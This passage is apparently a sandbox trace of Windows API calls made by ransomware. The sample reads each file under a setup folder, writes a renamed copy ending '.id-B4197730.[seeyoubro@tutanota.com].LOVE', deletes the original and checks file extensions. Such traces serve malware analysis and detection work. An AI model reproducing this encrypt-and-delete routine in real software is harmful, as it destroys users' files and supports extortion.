lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.651] WriteFile (in: hFile=0x2fc, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0xf8, lpOverlapped=0x0) returned 1 [0195.651] SetEndOfFile (hFile=0x2fc) returned 1 [0195.651] CloseHandle (hObject=0x2fc) returned 1 [0195.652] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.652] SetEndOfFile (hFile=0x2c4) returned 1 [0195.653] CloseHandle (hObject=0x2c4) returned 1 [0195.653] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.653] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1038\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1038\\setupresources.dll")) returned 1 [0195.653] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0195.653] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0195.653] lstrlenW (lpString=".doc") returned 4 [0195.653] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.653] lstrlenW (lpString=".docx") returned 5 [0195.654] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.654] lstrlenW (lpString=".pdf") returned 4 [0195.654] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.654] lstrlenW (lpString=".xls") returned 4 [0195.654] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.654] lstrlenW (lpString=".xlsx") returned 5 [0195.654] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.654] lstrlenW (lpString=".ppt") returned 4 [0195.654] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.654] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0195.654] lstrlenW (lpString=".zip") returned 4 [0195.654] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.654] lstrlenW (lpString=".rar") returned 4 [0195.654] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.654] lstrlenW (lpString=".bz2") returned 4 [0195.654] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.654] lstrlenW (lpString=".7z") returned 3 [0195.654] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.654] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0195.654] lstrlenW (lpString=".dbf") returned 4 [0195.654] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.654] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0195.654] lstrlenW (lpString=".1cd") returned 4 [0195.654] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.654] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0195.654] lstrlenW (lpString=".jpg") returned 4 [0195.654] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.654] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0195.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0195.655] lstrlenW (lpString=".doc") returned 4 [0195.655] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.655] lstrlenW (lpString=".docx") returned 5 [0195.655] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.655] lstrlenW (lpString=".pdf") returned 4 [0195.655] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.655] lstrlenW (lpString=".xls") returned 4 [0195.655] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.655] lstrlenW (lpString=".xlsx") returned 5 [0195.655] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.655] lstrlenW (lpString=".ppt") returned 4 [0195.655] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0195.655] lstrlenW (lpString=".zip") returned 4 [0195.655] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.655] lstrlenW (lpString=".rar") returned 4 [0195.655] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.655] lstrlenW (lpString=".bz2") returned 4 [0195.655] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.655] lstrlenW (lpString=".7z") returned 3 [0195.655] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0195.655] lstrlenW (lpString=".dbf") returned 4 [0195.655] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0195.655] lstrlenW (lpString=".1cd") returned 4 [0195.655] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\1038\\SetupResources.dll") returned 45 [0195.656] lstrlenW (lpString=".jpg") returned 4 [0195.656] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.656] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0195.656] lstrlenW (lpString="SetupResources.dll") returned 18 [0195.656] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0195.679] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=19288) returned 1 [0195.679] CloseHandle (hObject=0x2c4) returned 1 [0195.679] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 0x80 [0195.679] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.679] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0195.679] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.679] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.680] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0195.695] GetLastError () returned 0x0 [0195.696] ReadFile (in: hFile=0x2c4, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x4b58, lpOverlapped=0x0) returned 1 [0195.734] WriteFile (in: hFile=0x2b0, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x4b60, lpOverlapped=0x0) returned 1 [0195.735] ReadFile (in: hFile=0x2c4, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.735] WriteFile (in: hFile=0x2b0, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0xf8, lpOverlapped=0x0) returned 1 [0195.736] SetEndOfFile (hFile=0x2b0) returned 1 [0195.736] CloseHandle (hObject=0x2b0) returned 1 [0195.736] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.737] SetEndOfFile (hFile=0x2c4) returned 1 [0195.738] CloseHandle (hObject=0x2c4) returned 1 [0195.738] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.738] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 1 [0195.738] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0195.738] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0195.738] lstrlenW (lpString=".doc") returned 4 [0195.738] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.738] lstrlenW (lpString=".docx") returned 5 [0195.738] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.738] lstrlenW (lpString=".pdf") returned 4 [0195.738] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.739] lstrlenW (lpString=".xls") returned 4 [0195.739] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.739] lstrlenW (lpString=".xlsx") returned 5 [0195.739] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.739] lstrlenW (lpString=".ppt") returned 4 [0195.739] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.739] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0195.739] lstrlenW (lpString=".zip") returned 4 [0195.739] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.739] lstrlenW (lpString=".rar") returned 4 [0195.739] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.739] lstrlenW (lpString=".bz2") returned 4 [0195.739] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.739] lstrlenW (lpString=".7z") returned 3 [0195.739] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.739] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0195.739] lstrlenW (lpString=".dbf") returned 4 [0195.739] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.739] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0195.739] lstrlenW (lpString=".1cd") returned 4 [0195.739] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.739] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0195.739] lstrlenW (lpString=".jpg") returned 4 [0195.739] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.739] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0195.739] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0195.739] lstrlenW (lpString=".doc") returned 4 [0195.739] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.739] lstrlenW (lpString=".docx") returned 5 [0195.739] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.740] lstrlenW (lpString=".pdf") returned 4 [0195.740] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.740] lstrlenW (lpString=".xls") returned 4 [0195.740] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.740] lstrlenW (lpString=".xlsx") returned 5 [0195.740] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.740] lstrlenW (lpString=".ppt") returned 4 [0195.740] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.740] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0195.740] lstrlenW (lpString=".zip") returned 4 [0195.740] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.740] lstrlenW (lpString=".rar") returned 4 [0195.740] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.740] lstrlenW (lpString=".bz2") returned 4 [0195.740] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.740] lstrlenW (lpString=".7z") returned 3 [0195.740] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.740] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0195.740] lstrlenW (lpString=".dbf") returned 4 [0195.740] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.740] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0195.740] lstrlenW (lpString=".1cd") returned 4 [0195.740] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.740] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0195.740] lstrlenW (lpString=".jpg") returned 4 [0195.740] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.741] lstrcmpiW (lpString1=".dll", lpString2=".LOVE") returned -1 [0195.741] lstrlenW (lpString="SetupResources.dll") returned 18 [0195.741] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0195.741] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=18264) returned 1 [0195.741] CloseHandle (hObject=0x2c4) returned 1 [0195.741] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 0x80 [0195.741] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.741] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0195.741] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.741] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.741] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0195.764] GetLastError () returned 0x0 [0195.764] ReadFile (in: hFile=0x2c4, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x4758, lpOverlapped=0x0) returned 1 [0195.792] WriteFile (in: hFile=0x2fc, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x4760, lpOverlapped=0x0) returned 1 [0195.793] ReadFile (in: hFile=0x2c4, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.793] WriteFile (in: hFile=0x2fc, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0xf8, lpOverlapped=0x0) returned 1 [0195.793] SetEndOfFile (hFile=0x2fc) returned 1 [0195.793] CloseHandle (hObject=0x2fc) returned 1 [0195.794] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.794] SetEndOfFile (hFile=0x2c4) returned 1 [0195.964] CloseHandle (hObject=0x2c4) returned 1 [0195.964] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.964] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1046\\setupresources.dll")) returned 1 [0195.964] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0195.964] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0195.964] lstrlenW (lpString=".doc") returned 4 [0195.965] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.965] lstrlenW (lpString=".docx") returned 5 [0195.965] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.965] lstrlenW (lpString=".pdf") returned 4 [0195.965] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.965] lstrlenW (lpString=".xls") returned 4 [0195.965] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.965] lstrlenW (lpString=".xlsx") returned 5 [0195.965] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.965] lstrlenW (lpString=".ppt") returned 4 [0195.965] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.965] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0195.965] lstrlenW (lpString=".zip") returned 4 [0195.965] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.965] lstrlenW (lpString=".rar") returned 4 [0195.965] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.965] lstrlenW (lpString=".bz2") returned 4 [0195.965] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.965] lstrlenW (lpString=".7z") returned 3 [0195.965] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.965] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0195.965] lstrlenW (lpString=".dbf") returned 4 [0195.965] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.965] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0195.965] lstrlenW (lpString=".1cd") returned 4 [0195.965] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.965] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0195.965] lstrlenW (lpString=".jpg") returned 4 [0195.965] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.966] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0195.966] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0195.966] lstrlenW (lpString=".doc") returned 4 [0195.966] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0195.966] lstrlenW (lpString=".docx") returned 5 [0195.966] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0195.966] lstrlenW (lpString=".pdf") returned 4 [0195.966] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0195.966] lstrlenW (lpString=".xls") returned 4 [0195.966] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0195.966] lstrlenW (lpString=".xlsx") returned 5 [0195.966] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0195.966] lstrlenW (lpString=".ppt") returned 4 [0195.966] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0195.966] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0195.966] lstrlenW (lpString=".zip") returned 4 [0195.966] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0195.966] lstrlenW (lpString=".rar") returned 4 [0195.966] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0195.966] lstrlenW (lpString=".bz2") returned 4 [0195.966] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0195.966] lstrlenW (lpString=".7z") returned 3 [0195.966] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0195.966] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0195.966] lstrlenW (lpString=".dbf") returned 4 [0195.966] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0195.966] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0195.966] lstrlenW (lpString=".1cd") returned 4 [0195.966] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0195.967] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\SetupResources.dll") returned 45 [0195.967] lstrlenW (lpString=".jpg") returned 4 [0195.967] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0195.967] lstrcmpiW (lpString1=".ico", lpString2=".LOVE") returned -1 [0195.967] lstrlenW (lpString="Rotate4.ico") returned 11 [0195.967] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0195.967] GetFileSizeEx (in: hFile=0x2c4, lpFileSize=0x301ff14 | out: lpFileSize=0x301ff14*=894) returned 1 [0195.967] CloseHandle (hObject=0x2c4) returned 1 [0195.968] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 0x80 [0195.968] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0195.968] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4 [0195.968] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.968] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.968] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0 [0195.968] GetLastError () returned 0x0 [0195.968] ReadFile (in: hFile=0x2c4, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x37e, lpOverlapped=0x0) returned 1 [0195.976] WriteFile (in: hFile=0x2b0, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0x380, lpOverlapped=0x0) returned 1 [0195.977] ReadFile (in: hFile=0x2c4, lpBuffer=0x3d5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x301fecc, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesRead=0x301fecc*=0x0, lpOverlapped=0x0) returned 1 [0195.977] WriteFile (in: hFile=0x2b0, lpBuffer=0x3d5d020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x301fc94, lpOverlapped=0x0 | out: lpBuffer=0x3d5d020*, lpNumberOfBytesWritten=0x301fc94*=0xea, lpOverlapped=0x0) returned 1 [0195.977] SetEndOfFile (hFile=0x2b0) returned 1 [0195.978] CloseHandle (hObject=0x2b0) returned 1 [0195.978] SetFilePointerEx (in: hFile=0x2c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x301fec0 | out: lpNewFilePointer=0x0) returned 1 [0195.978] SetEndOfFile (hFile=0x2c4) returned 1 [0195.979] CloseHandle (hObject=0x2c4) returned 1 [0195.979] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x80) returned 1 [0195.979] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate4.ico")) returned 1 [0195.979] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0195.979] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0195.979] lstrlenW (lpString=".doc") returned 4 [0195.979] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0195.979] lstrlenW (lpString=".docx") returned 5 [0195.980] lstrcmpiW (lpString1=".docx", lpString2="4.ico") returned -1 [0195.980] lstrlenW (lpString=".pdf") returned 4 [0195.980] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0195.980] lstrlenW (lpString=".xls") returned 4 [0195.980] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0195.980] lstrlenW (lpString=".xlsx") returned 5 [0195.980] lstrcmpiW (lpString1=".xlsx", lpString2="4.ico") returned -1 [0195.980] lstrlenW (lpString=".ppt") returned 4 [0195.980] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0195.980] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate4.ico") returned 42 [0195.980] lstrlenW (lpString=".zip") returned 4 [0195.980] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0195.980] lstrlenW (lpString=".rar") returned 4 [0195.980] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0195.980] lstrlenW (lpString=".bz2") returned 4 [0195.980] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0195.980] lstrlenW (lpString=".7z") returned 3 